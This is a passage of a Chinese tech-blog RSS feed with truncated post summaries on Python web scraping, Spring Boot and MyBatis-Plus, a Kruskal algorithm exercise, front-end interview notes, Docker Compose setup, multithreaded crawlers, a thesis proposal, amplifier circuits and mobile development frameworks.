      <description>在这篇文章中，我们将分享7个Python爬虫的小案例，帮助大家更好地学习和了解Python爬虫的基础知识。以下是每个案例的简介和源代码：&#xA;1. 爬取豆瓣电影Top250 这个案例使用BeautifulSoup库爬取豆瓣电影Top250的电影名称、评分和评价人数等信息，并将这些信息保存到CSV文件中。&#xA;2. 爬取猫眼电影Top100 这个案例使用正则表达式和requests库爬取猫眼电影Top100的电影名称、主演和上映时间等信息，并将这些信息保存到TXT文件中。&#xA;3. 爬取全国高校名单 这个案例使用正则表达式和requests库爬取全国高校名单，并将这些信息保存到TXT文件中&#xA;4. 爬取中国天气网城市天气 这个案例使用xpath和requests库爬取中国天气网的城市天气，并将这些信息保存到CSV文件中。&#xA;5. 爬取当当网图书信息 这个案例使用xpath和requests库爬取当当网图书信息，并将这些信息保存到CSV文件中。&#xA;6. 爬取糗事百科段子 这个案例使用xpath和requests库爬取糗事百科的段子，并将这些信息保存到TXT文件中。&#xA;7. 爬取新浪微博 这个案例使用selenium和requests库爬取新浪微博，并将这些信息保存到TXT文件中。&#xA;Python经验分享 学好 Python 不论是就业还是做副业赚钱都不错，但要学会 Python 还是要有一个学习规划。最后给大家分享一份全套的 Python 学习资料，给那些想学习 Python 的小伙伴们一点帮助！&#xA;小编为对Python感兴趣的小伙伴准备了以下籽料 ！&#xA;对于0基础小白入门：&#xA;如果你是零基础小白，想快速入门Python是可以考虑培训的！&#xA;学习时间相对较短，学习内容更全面更集中可以找到适合自己的学习方案 包括：Python激活码+安装包、Python web开发，Python爬虫，Python数据分析，人工智能、机器学习、Python量化交易等学习教程。带你从零基础系统性的学好Python！&#xA;一、Python所有方向的学习路线&#xA;Python所有方向路线就是把Python常用的技术点做整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。&#xA;二、学习软件&#xA;工欲善其事必先利其器。学习Python常用的开发软件都在这里了，给大家节省了很多时间。&#xA;三、入门学习视频&#xA;我们在看视频学习的时候，不能光动眼动脑不动手，比较科学的学习方法是在理解之后运用它们，这时候练手项目就很适合了。&#xA;四、实战案例&#xA;光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。&#xA;五、面试资料&#xA;我们学习Python必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有阿里大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。&#xA;我已经上传至CSDN官方，如果需要可以扫描下方官方二维码免费获取【保证100%免费】&#xA;*今天的分享就到这里，喜欢且对你有所帮助的话，记得点赞关注哦~下回见 ！</description>
    </item>
    <item>
      <title>Spring Boot整合MyBatis-Plus框架快速上手</title>
      <link>https://bchobby.github.io/posts/5b45839d0907447ca4a7edfdf59b43e5/</link>
      <pubDate>Mon, 25 Dec 2023 13:34:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b45839d0907447ca4a7edfdf59b43e5/</guid>
      <description>最开始，我们要在Java中使用数据库时，需要使用JDBC，创建Connection、ResultSet等，然后我们又对JDBC的操作进行了封装，创建了许多类似于DBUtil等工具类。再慢慢的，出现了一系列持久层的框架：Hibernate、JPA和MyBatis等。&#xA;其实利用MyBatis 来进行持久层的开发已经大大减少了工作人员的工作量了，但它的使用还是需要一定的门槛的。Mybatis-Plus的出现，进一步降低了这道槛。那我们今天就来看看，Mybatis-Plus到底是如何进一步实现MyBatis的增强的。&#xA;1.MyBatis-Plus简介 MyBatis-Plus官网地址：&#xA;https://baomidou.com&#xA;MyBatis-Plus（简称MP）是一个MyBatis的增强工具，在MyBatis的基础上只做增强不做改变，为简化开发、提高效率而生。MP的愿景是成为MyBatis最好的搭档，就像魂斗罗中的1P、2P，基友搭配，效率翻倍。&#xA;MyBatis-Plus特性 无侵入：只做增强不做改变，引入它不会对现有工程产生影响，如丝般顺滑。损耗小：启动即会自动注入基本CURD，性能基本无损耗，直接面向对象操作。强大的CRUD操作：内置通用Mapper、通用Service，仅仅通过少量配置即可实现单表大部分CRUD操作，更有强大的条件构造器，满足各类使用需求。支持Lambda形式调用：通过Lambda表达式，方便的编写各类查询条件，无需再担心字段写错。支持主键自动生成：支持多达4种主键策略（内含分布式唯一ID生成器–Sequence），可自由配置，完美解决主键问题。支持ActiveRecord模式：支持ActiveRecord形式调用，实体类只需继承Model类即可进行强大的CRUD操作。支持自定义全局通用操作：支持全局通用方法注入（Write once, use anywhere）。内置代码生成器：采用代码或者Maven插件可快速生成Mapper、Model、Service、Controller层代码，支持模板引擎，更有超多自定义配置等您来使用。内置分页插件：基于MyBatis物理分页，开发者无需关心具体操作，配置好插件之后，写分页等同于普通List查询。分页插件支持多种数据库：支持MySQL、MariaDB、Oracle、DB2、H2、HSQL、SQLite、Postgre、SQLServer等多种数据库。内置性能分析插件：可输出SQL语句以及其执行时间，建议开发测试时启用该功能，能快速揪出慢查询。内置全局拦截插件：提供全表delete、update操作智能分析阻断，也可自定义拦截规则，预防误操作。 支持数据库 任何能使用MyBatis进行CRUD，并且支持标准SQL的数据库，具体支持情况如下：&#xA;MySQL，Oracle，DB2，H2，HSQL，SQLite，PostgreSQL，SQLServer，Phoenix，Gauss ，ClickHouse，Sybase，OceanBase，Firebird，Cubrid，Goldilocks，csiidb。达梦数据库，虚谷数据库，人大金仓数据库，南大通用（华库）数据库，南大通用数据库，神通数据库，瀚高数据库。 使用SpringBoot整合MyBatis-Plus MyBatis-Plus部署配置 1.引入依赖。在pom.xml文件中添加Mybatis-Plus依赖。&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- MyBatis依赖启动器 --&amp;gt; &amp;lt;!-- &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; --&amp;gt; &amp;lt;!-- MySQL数据库连接驱动 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 阿里巴巴的Druid数据源依赖启动器 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;druid-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.1.17&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 添加Mybatis-Plus依赖 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 2.编写实体类。在springbootdata数据库中创建products商品信息表并插入数据。&#xA;CREATE TABLE t_product ( id INT PRIMARY KEY AUTO_INCREMENT, name VARCHAR(50), #商品名称 price DOUBLE, flag VARCHAR(2), #上架状态 goods_desc VARCHAR(100), #商品描述 images VARCHAR(400), #商品图片 goods_stock INT, #商品库存 goods_type VARCHAR(20), #商品类型 created_user VARCHAR(20) COMMENT &#39;日志-创建人&#39;, created_time DATETIME COMMENT &#39;日志-创建时间&#39;, modified_user VARCHAR(20) COMMENT &#39;日志-最后修改执行人&#39;, modified_time DATETIME COMMENT &#39;日志-最后修改时间&#39; ); INSERT INTO t_product VALUES ( NULL, &#39;HUAWEI P60&#39;, 6999, &#39;1&#39;, &#39;华为P60 5G手机 分期 麒麟990 晨曦金 8+256GB&#39;, &#39;https://img14.</description>
    </item>
    <item>
      <title>PTA 最小生成树-kruskal</title>
      <link>https://bchobby.github.io/posts/6e6ef2498a2426425a04f2b5f728236f/</link>
      <pubDate>Mon, 25 Dec 2023 13:03:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e6ef2498a2426425a04f2b5f728236f/</guid>
      <description>7-92 最小生成树-kruskal&#xA;分数 10&#xA;全屏浏览题目&#xA;作者 任唯&#xA;单位 河北农业大学&#xA;题目给出一个无向连通图，要求求出其最小生成树的权值。&#xA;温馨提示：本题请使用kruskal最小生成树算法。&#xA;输入格式: 输出格式: 输出一个整数表示最小生成树的各边的长度之和。&#xA;输入样例:&#xA;4 5&#xA;1 2 2&#xA;1 3 2&#xA;1 4 3&#xA;2 3 4&#xA;3 4 3&#xA;输出样例:&#xA;7&#xA;代码长度限制&#xA;16 KB&#xA;时间限制&#xA;500 ms&#xA;内存限制&#xA;64 MB&#xA;代码分享及思路分享： #include &amp;lt;iostream&amp;gt; #include&amp;lt;bits/stdc++.h&amp;gt; #include &amp;lt;algorithm&amp;gt; using namespace std; struct edge{ int u,v; int value; }s[1000001]; int f[1000001];//用f数组的下标和对应存储的值来判断是否已经连通 int find(int x){ if(x!=f[x]) return f[x]=find(f[x]); return f[x]; }//调用递归 bool cmp(edge a,edge b){ return a.</description>
    </item>
    <item>
      <title>【面试】前端面试八股文</title>
      <link>https://bchobby.github.io/posts/0fadc761dc4aaaa6f9a572e628495b86/</link>
      <pubDate>Mon, 25 Dec 2023 12:53:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fadc761dc4aaaa6f9a572e628495b86/</guid>
      <description>前端思维导图优点大可爱html+css+js+node全面可下载千峰html+css简洁漂亮千峰js简洁漂亮 一、JS 1、使用 （1）标签引用 &amp;lt;script&amp;gt; alert(&#34;Hello,World!&#34;); &amp;lt;/script&amp;gt; （2）文件引用 &amp;lt;script src=&#34;main.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 2、特点 解释型语言：JS不需要被编译为机器码而是直接执行，开发轻松动态型语言：JS变量与任何值类型都不关联，都可以重新分配类型值弱类型语言：变量数据类型不确定，赋值后定义。当操作涉及不匹配的类型时，允许隐式转换基于原型的面向对象严格区分大小写 3、标识符 标识符：指给变量、函数、属性或函数参数起名字要求： 第一个字符必须是字母、下划线（ _ ）或美元符号（ $ ）其它字符可以是字母、下划线、美元符号或数字按照惯例，ECMAScript 标识符采用驼峰命名法标识符不能是关键字和保留字符 4、数据类型 （1）数据类型 简单/基本数据类型：在存储变量中存储值本身，因此也叫值类型，存放到栈（空间） 名称类型值String字符串型‘123’Number数值型123Boolean布尔型true/falseNullnull型空UndefinedUndefined型未定义SymbolSymbol型Symbol() 生成唯一值Bigint整数型大整数 复杂数据类型：在存储变量中存储地址，因此也叫引用数据类型，存放到堆（空间） 通过new关键字创建的对象（系统对象、自定义对象） 名称类型值Object对象{ “key”:“value” }Array数组[…]Function函数fn()Date日期函数new Date()Math数学公式MathRegExp正则new RegExp(“正则表达式”, “匹配模式”) （2）类型判断 typeof obj：不适用复杂类型判断，多显示object console.log(typeof &#34;123&#34;)&#x9;// string console.log(typeof 123)&#x9;// number console.log(typeof true)&#x9;// boolean console.log(typeof undefined)&#x9;// undefined console.log(typeof null)&#x9;// object =&amp;gt; 所有值均32位，最低的3位表示数据类型，null全部为0，而object前三位是000 obj instanceof Object ：不适用基本类型判断 console.log([1, 2] instanceof Array) // true console.log(function(){} instanceof Function) // true console.</description>
    </item>
    <item>
      <title>如何优雅的写 Controller 层代码？</title>
      <link>https://bchobby.github.io/posts/836c1e5ac19545a20cbed6e4da956bb4/</link>
      <pubDate>Mon, 25 Dec 2023 12:20:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/836c1e5ac19545a20cbed6e4da956bb4/</guid>
      <description>📌 原文链接： https://mp.weixin.qq.com/... 目录&#xA;前言Controller 层参数接收统一状态码统一校验统一响应统一异常 前言 本篇主要要介绍的就是 controller 层的处理，一个完整的后端请求由 4 部分组成：&#xA;接口地址（也就是 URL 地址）请求方式（一般就是 get、set，当然还有 put、delete）请求数据（request，有 head 跟 body）响应数据（response） 本篇将解决以下 3 个问题：&#xA;当接收到请求时，如何优雅的校验参数返回响应数据该如何统一的进行处理接收到请求，处理业务逻辑时抛出了异常又该如何处理 Controller 层参数接收（太基础了，可以跳过）&#xA;常见的请求就分为 get 跟 post 两种：&#xA;@RestController @RequestMapping(&#34;/product/product-info&#34;) public class ProductInfoController { @Autowired ProductInfoService productInfoService; @GetMapping(&#34;/findById&#34;) public ProductInfoQueryVo findById(Integer id) { ... } @PostMapping(&#34;/page&#34;) public IPage findPage(Page page, ProductInfoQueryVo vo) { ... } } RestController：之前解释过，@RestController=@Controller+ResponseBody。&#xA;加上这个注解，springboot 就会吧这个类当成 controller 进行处理，然后把所有返回的参数放到 ResponseBody 中。&#xA;@RequestMapping：请求的前缀，也就是所有该 Controller 下的请求都需要加上 /product/product-info 的前缀。</description>
    </item>
    <item>
      <title>Docker Compose</title>
      <link>https://bchobby.github.io/posts/9df4f21b596436ff15371b9a629a0b28/</link>
      <pubDate>Mon, 25 Dec 2023 11:59:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9df4f21b596436ff15371b9a629a0b28/</guid>
      <description>Docker Compose 1.安装 Docker Compose2.编写 Compose 文件3.启动、停止、恢复服务4.构建和升级服务 Docker 是一个开放源代码的应用程序容器引擎，可以帮助用户轻松地打包、分发和运行任何应用程序，并且具有开发效率高、部署便捷等优点。&#xA;Docker Compose 是 Docker 的一个子项目，可以帮助用户定义和运行多容器 Docker 应用程序。使用 Docker Compose 可以更轻松地管理多个容器的应用程序，例如在本地或云平台上构建和部署微服务应用程序。&#xA;参考链接&#xA;https://zhuanlan.zhihu.com/p/620097083&#xA;1.安装 Docker Compose 在使用 Docker Compose 之前，您需要先安装 Docker 引擎。&#xA;然后，您可以通过以下步骤来安装 Docker Compose：&#xA;打开官方文档 Docker Compose Releases （https://github.com/docker/compose/releases）&#xA;找到适合您服务器系统的版本进行下载。&#xA;服务器一般都是时linux系统的&#xA;下载后传到虚机一定要 改名字成docker-compose！！！&#xA;上传docker-compose到 /usr/local/bin/路径&#xA;赋予权限：chmod +x /usr/local/bin/docker-compose&#xA;验证是否成功安装docker-compose：docker-compose -v&#xA;2.编写 Compose 文件 Docker Compose 使用 YAML 文件来定义应用程序的组件和它们之间的联系。下面是一个使用 Docker Compose 启动 web 应用程序的样例文件：&#xA;version: &#39;3&#39; services: web: image: nginx ports: - &#34;</description>
    </item>
    <item>
      <title>十：爬虫-多线程</title>
      <link>https://bchobby.github.io/posts/751d741e8796e16cdf3fa50aa461092e/</link>
      <pubDate>Mon, 25 Dec 2023 11:46:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/751d741e8796e16cdf3fa50aa461092e/</guid>
      <description>一：进程与线程 1.什么是进程？ 电脑中时会有很多单独运行的程序，每个程序有一个独立的进程 而进程之间是相互独立存在的，比如下标中的QQ播放器、小鹅通等等 2.什么是线程？ 进程可以简单的理解为一个可以独立运行的程序单位，它是线程的集合，进程就是有一个或多个线程构成的。 而线程是进程中的实际运行单位，是操作系统进行运算调度的最小单位。 可理解为线程是进程中的一个最小运行单元。 3.什么是多进程? 同理，多进程就是指计算机同时执行多个进程，一般是同时运行多个软件 4.什么是多线程? 提到多线程这里要说两个概念，就是串行和并行搞清楚这个，我们才能更好地理解多线程： 串行: 所谓串行，其实是相对于单条线程来执行多个任务来说的， 我们就拿下载文件来举个例子：当我们下载多个文件时，在串行中它是按照一定的顺序去进行下载的， 也就是说，必须等下载完A之后才能开始下载B，它们在时间上是不可能发生重叠的。 并行: 下载多个文件，开启多条线程，多个文件同时进行下载， 这里是严格意义上的，在同一时刻发生的，并行在时间上是重叠的。 #简单了解了这两个概念之后，我们再来说说到底什么什么是多线程？ 举个例子，我们打开腾讯管家，腾讯管家本身就是一个程序，也就是说它就是一个进程，它里面有很多的功能，我们可以看下图，能查杀病毒、清理垃圾、电脑加速等众多功能。 按照单线程来说,无论你想要清理垃圾、还是病毒查杀，那么你必须先做完其中的一件事，才能做下一件事，这里面是有一个执行顺序的。 如果是多线程的话，我们其实在清理垃圾的时候，还可以进行查杀病毒、电脑加速等等其他的操作，这个是严格意义上的同一时刻发生的，没有执行上的先后顺序。 简单理解为：多线程就是指一个进程中同时有多个线程正在执行。 二：多线程爬虫 由于外部网络不稳定，在使用单线程爬取网页数据时，如果有一个网页响应速度慢或者卡住了，那整个程序都要等待下去，这显然是无效率的。因此，我们可以使用多线程、多进程、协程技术来实现并发下载网页。&#xA;那么，在Python中多线程、多进程和协程应该如何选择呢?&#xA;一般来说，多进程适用于CPU密集型的代码，例如各种循环处理、大量的密集并行计算等。多线程适用于I/O密集型的代码，例如文件处理、网络交互等。协程无需通过操作系统调度，没有进程、线程之间的切换和创建等开销，适用于大量不需要CPU的操作，例如网络I/O等。&#xA;实际上，限制爬虫程序发展的瓶颈就在于网络I/O，原因是网络I/O的速度赶不上CPU的处理速度。结合多线程、多进程和协程的特点和用途，我们一般采用多线程和协程技术来实现爬虫程序。&#xA;1.多任务基本介绍 有很多的场景中的事情是同时进行的，如开车的时候 手和脚共同来驾驶汽车，再比如唱歌跳舞也是同时进行的&#xA;程序中模拟多任务：&#xA;import time def sing(): for i in range(3): print(&#34;正在唱歌... %d&#34;%i) time.sleep(1) def dance(): for i in range(3): print(&#34;正在跳舞...%d&#34;%i) time.sleep(1) if __name__ == &#39;__main__&#39;: sing() dance() 2.多线程的创建 （1）通过函数来创建 1 通过函数来创建 通过threading模块当中的一个Thread类，有一个target参数。这个参数需要我们传递一个函数对象。这个函数就可以实现多线程的逻辑 def Demo01(): print(&#39;hello 子线程&#39;) if __name__ == &#34;</description>
    </item>
    <item>
      <title>【开题报告】基于Spring Boot的传统服饰宣传网站设计与实现</title>
      <link>https://bchobby.github.io/posts/4d3a38237c27b7da5f35123d50b7c139/</link>
      <pubDate>Mon, 25 Dec 2023 11:04:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d3a38237c27b7da5f35123d50b7c139/</guid>
      <description>1.研究背景和意义 研究背景：&#xA;随着社会的进步和时代的发展，传统服饰逐渐被现代服饰所取代，年轻一代对传统服饰的了解和认同度不高。很多传统服饰面临着失传的风险，其所承载的文化和历史价值也可能因此而逐渐消失。因此，设计和实现一个基于Spring Boot的传统服饰宣传网站具有重要的研究背景。&#xA;研究意义：&#xA;传统服饰作为一个国家或地区的文化遗产，具有独特的历史和艺术价值。通过设计和实现一个基于Spring Boot的传统服饰宣传网站，可以达到以下几个方面的意义：&#xA;（1）传播传统服饰文化：网站可以通过展示传统服饰的图片、介绍、历史背景等信息，向用户传达传统服饰的美丽和文化内涵。让更多的人了解和认识传统服饰，增加对传统服饰的兴趣和认同，推广传统服饰文化。&#xA;（2）保护传统服饰的独特价值：通过宣传网站，可以提高人们对传统服饰的认识和重视程度，加强对传统服饰文化的保护意识。保护传统服饰的独特价值和魅力，促进其在现代社会中的传承和发展。&#xA;（3）提升传统服饰的影响力：通过网站的用户评论、分享、在线购买等功能，增加用户参与度，提升传统服饰的影响力。激发人们对传统服饰的兴趣和热情，为传统服饰的发展注入新的活力。&#xA;（4）促进文化交流和传承：宣传网站可以打破地域限制，让更多的人了解和接触到不同地区的传统服饰。促进不同文化之间的交流和借鉴，推动传统服饰文化的传承和创新。&#xA;总之，基于Spring Boot的传统服饰宣传网站的设计和实现具有重要的研究背景和意义，可以有效推广传统服饰文化，增加年轻人对传统服饰的兴趣和认识，保护和传承传统服饰的独特价值和魅力。&#xA;2.研究目标 本项目的主要目标是设计和实现一个基于Spring Boot的传统服饰宣传网站，通过展示传统服饰的图片、介绍、历史背景等信息，向用户传达传统服饰的美丽和文化内涵。同时，通过交互式的功能模块，如用户评论、分享、在线购买等，增强用户参与度，提升传统服饰的影响力。&#xA;具体目标如下：&#xA;（1）明确网站的功能需求和用户需求，包括展示传统服饰的图片、简介和详细信息、提供用户评论和分享功能、提供在线购买传统服饰的功能等。&#xA;（2）选择适合的技术栈，如Spring Boot作为主要框架、MySQL作为数据库、Thymeleaf作为模板引擎、Bootstrap作为前端框架等。&#xA;（3）设计网站的系统架构，包括前端页面设计、后端接口设计、数据库设计等。&#xA;（4）使用Spring Boot进行开发，实现网站的各个模块和功能。&#xA;（5）进行功能测试、性能测试和安全性测试，并根据测试结果进行系统优化。&#xA;（6）将网站部署到服务器上，并确保网站的稳定运行。&#xA;通过实现以上目标，我们可以成功设计和实现一个基于Spring Boot的传统服饰宣传网站，提高人们对传统服饰的认识和重视程度，促进传统服饰文化的传承和发展，推广传统服饰文化，增加年轻人对传统服饰的兴趣和认识，保护和传承传统服饰的独特价值和魅力。&#xA;3.国内外研究现状 目前国内外关于基于Spring Boot的传统服饰宣传网站设计与实现的研究还比较有限，以下是一些相关研究现状：&#xA;（1）国内传统文化网站设计及实现的研究：如《基于JSP的中国传统文化网站设计与实现》（王春兰，2014）、《传统文化数字化展示网站的设计与实现》（李雪梅，2015）等。这些研究主要探讨了传统文化网站的设计和实现，但没有具体涉及到传统服饰方面的内容。&#xA;（2）国外服饰文化网站的研究：如《Online Exhibition System for Traditional Costumes Based on Virtual Environment》（Abdulaziz Alomair，2018）和《Preserving Traditional Textile Heritage Through Digital Archiving and Online Exhibitions》（Pallavi Kharade，2019）等。这些研究主要探讨了虚拟环境下的传统服饰展示和数字化保存，但没有涉及到基于Spring Boot的传统服饰宣传网站的设计与实现。&#xA;（3）国内外基于Spring Boot的电商网站设计研究：如《基于Spring Boot的电商网站的设计与实现》（吴茜，2019）、《基于Spring Boot的B2C电子商务网站设计与实现》（刘涛，2020）等。这些研究主要探讨了电商网站的设计和实现，但没有具体涉及到传统服饰方面的内容。&#xA;综上所述，目前关于基于Spring Boot的传统服饰宣传网站设计与实现的研究还比较有限，需要进一步深入探讨和研究。&#xA;4.研究内容和方法 基于Spring Boot的传统服饰宣传网站设计与实现的研究内容和方法包括以下几个方面：&#xA;（1）网站需求分析：首先需要对传统服饰宣传网站的功能需求进行详细分析，包括展示传统服饰的图片、介绍、历史背景等信息，提供用户评论和分享功能，提供在线购买传统服饰的功能等。&#xA;（2）技术选型：选择适合的技术栈用于开发，如Spring Boot作为主要框架、MySQL作为数据库、Thymeleaf作为模板引擎、Bootstrap作为前端框架等。同时，还需要考虑到网站的安全性和性能问题。&#xA;（3）系统架构设计：设计网站的系统架构，包括前端页面设计、后端接口设计、数据库设计等。需要根据需求分析的结果来确定网站各个模块之间的关系和交互方式。&#xA;（4）功能开发与实现：基于Spring Boot框架进行开发，实现网站的各个功能模块，如用户注册登录、传统服饰展示、用户评论和分享、在线购买等。在开发过程中需要注意代码的可维护性和可扩展性。&#xA;（5）测试与优化：进行功能测试、性能测试和安全性测试，确保网站的各个功能正常运行，并根据测试结果进行系统优化，提高网站的性能和用户体验。</description>
    </item>
    <item>
      <title>(04730)半导体器件之基本放大器工作原理（二）</title>
      <link>https://bchobby.github.io/posts/7dc0f8cf5af7a616dc5e3a77bd67e262/</link>
      <pubDate>Mon, 25 Dec 2023 10:54:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dc0f8cf5af7a616dc5e3a77bd67e262/</guid>
      <description>共集电极放大电路 电路的组成 在晶体三极管组成的放大电路中，将集电极作为输入和输出信号的公共端，输入电压从基极对地（集电极）之间输入，输出电压从发射极对地（集电极)之间取出，这种放大电路称为共集电极放大电路，简称共集放大电路，电路的组成如图2.2.23所示。由于从发射极对地输出信号，因此又称为射极输出器。&#xA;工作原理 (1)静态分析 由图2.2.23共集放大电路图画出其直流通路如图2.2.24所示。&#xA;(2)动态分析 共集放大器的交流通路和微变等效电路分别如图2.2.25和图2.2.26所示。&#xA;综上所述，共集放大电路具有电压放大倍数小于1（近似等于1)、输出电压与输入电压同相位、电压跟随特性好、输入电阻高、输出电阻低、有电流放大和功率放大等特点，在电子线路中应用十分广泛。&#xA;(3)应用简介 ①作为多级放大电路的输人级，利用其输人阻抗高的特点来提高放大电路接收信号的能力。&#xA;②作为多级放大电路的输出级，利用其输出阻抗低的特点来改善放大电路带负载的能力。&#xA;③作为多级放大电路的中间缓冲级，利用。≈u:的特点隔离前后级的相互影响，解决阻抗变换和信号传输等问题。&#xA;场效应管放大电路 场效应管也可组成一些基本放大电路，由于输入输出回路的公共点选择的不同，也可分为共源、共漏、共栅等三种基本接法，场效应管为电压控制电流的元件，共栅接法基本不用，本节重点讨论共源接法放大电路的工作情况，与三极管放大电路一样，场效应管放大电路也必须设置合适的静态工作点，下面以分压式偏置共源放大电路为例进行讨论。&#xA;1.分压式偏置共源放大电路 图2.2.28所示为分压式偏置共源放大电路，图中R可增大电路的输人电阻，而不影响V的值，通常R可选几兆欧。静态时，栅极绝缘，无栅极电流Ic,R3上没有电压降，所以栅极电位为：&#xA;2.共源放大电路的工作过程&#xA;可见共源放大电路的输出电压与输入电压反相；输人电阻主要由RG3确定，其值选择很大，接收信号的能力很强；输出电阻主要由漏极负载电阻RD确定，其值为几千欧至几十千欧。</description>
    </item>
    <item>
      <title>移动应用开发框架概览：细节深入，全面解析</title>
      <link>https://bchobby.github.io/posts/2032eb850d0d96bb96695832d86bf8da/</link>
      <pubDate>Mon, 25 Dec 2023 10:30:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2032eb850d0d96bb96695832d86bf8da/</guid>
      <description>一、引言 随着移动互联网的飞速发展，移动应用开发已经成为当今软件领域最重要的方向之一。为了满足日益增长的移动应用需求，开发者们借助各种框架来提高开发效率和应用质量。本文将详细介绍目前流行的移动应用开发框架，并对每个框架的特点、优势和适用场景进行深入剖析。&#xA;二、跨平台开发框架 1. React Native React Native是Facebook推出的开源跨平台移动应用开发框架，基于JavaScript和React构建。它允许开发者使用统一的JavaScript代码库开发iOS和Android应用，同时保持原生应用的性能和用户体验。React Native通过桥接技术实现与原生组件的交互，提供了丰富的原生API和组件库。此外，React Native社区活跃，有大量的第三方库和工具支持。&#xA;2. Flutter Flutter是Google推出的开源跨平台移动应用开发框架，使用Dart编程语言。Flutter采用自绘引擎，可以实现高度定制化的UI设计，同时保持高性能。Flutter提供了丰富的组件库和开发工具，支持热重载和快速迭代。Flutter的应用性能接近于原生应用，特别适合于需要高度定制化UI和追求性能的应用场景。&#xA;3. Xamarin Xamarin是Microsoft推出的跨平台移动应用开发框架，使用C#编程语言和.NET平台。Xamarin允许开发者使用统一的C#代码库开发iOS、Android和Windows应用，实现真正的跨平台开发。Xamarin提供了丰富的原生API和组件库，以及强大的Visual Studio集成开发环境支持。Xamarin适合于企业级应用和需要充分利用.NET生态系统的项目。&#xA;三、原生开发框架 1. iOS开发框架 （1）SwiftUI：SwiftUI是Apple推出的原生iOS开发框架，使用Swift编程语言。SwiftUI采用声明式编程范式，简化了UI开发过程。它提供了丰富的组件库和布局系统，支持动态类型和暗黑模式。SwiftUI与Xcode紧密集成，为开发者提供了强大的开发工具链。&#xA;（2）UIKit：UIKit是iOS传统的原生开发框架，也使用Swift编程语言。它提供了丰富的UI组件和事件处理机制，支持高度定制化的UI设计。UIKit具有成熟的生态系统和广泛的应用场景，适合于各种规模的iOS应用项目。&#xA;2. Android开发框架 （1）Jetpack Compose：Jetpack Compose是Google推出的原生Android开发框架，使用Kotlin编程语言。Jetpack Compose采用声明式编程范式，简化了UI开发过程。它提供了丰富的组件库和布局系统，支持动态主题和暗黑模式。Jetpack Compose与Android Studio紧密集成，为开发者提供了便捷的开发体验。&#xA;（2）AndroidX：AndroidX是Android传统的原生开发框架，也使用Kotlin编程语言。它提供了全面的API和组件库，支持各种Android设备和版本。AndroidX具有广泛的社区支持和丰富的应用场景，适合于各种规模的Android应用项目。&#xA;四、混合开发框架 1. Cordova Cordova（也称为Apache Cordova）是一个开源的移动应用开发框架，允许开发者使用HTML5、CSS3和JavaScript构建跨平台应用。Cordova通过WebView容器来展示Web内容，并通过JavaScript桥接技术实现与原生功能的交互。Cordova支持广泛的设备和平台，具有灵活的扩展性，适合于快速构建原型或简单的跨平台应用。&#xA;2. Ionic Ionic是一个基于Cordova的开源移动应用开发框架，专注于提供高质量的UI组件和交互体验。Ionic使用Angular作为核心框架，结合了Web技术和原生功能，实现了高性能的跨平台应用。Ionic提供了丰富的组件库和主题定制功能，以及强大的命令行工具支持。Ionic适合于构建具有丰富交互和美观界面的跨平台应用。&#xA;当然可以，以下是另外几个值得关注的移动应用开发框架：&#xA;五、其他值得关注的框架 1. NativeScript NativeScript 是一个开源框架，允许开发者使用 JavaScript、TypeScript 或者 Angular 来开发原生应用。它的主要优势在于可以直接访问原生 API，无需 WebView 包装，从而确保应用的性能和用户体验。NativeScript 支持 iOS 和 Android 平台，并且可以与现有的 JavaScript 库和插件集成。&#xA;2. Weex Weex 是阿里巴巴推出的一个高性能、可扩展的跨平台移动应用开发框架。它允许开发者使用 Vue.js 或 Rax（基于 React）来编写应用代码，然后编译成原生应用。Weex 的主要优势在于其高性能和灵活的扩展性，适合于需要高度定制化和高性能的应用场景。&#xA;3. Fuse Fuse 是一个专注于设计的移动应用开发框架。它提供了一个直观的视觉开发环境，允许设计师和开发者无缝协作，快速构建美观且高性能的移动应用。Fuse 使用一种名为 FuseML 的标记语言来描述界面和交互，同时提供了丰富的原生组件和动画效果。Fuse 适合于追求设计美感和用户体验的项目。</description>
    </item>
    <item>
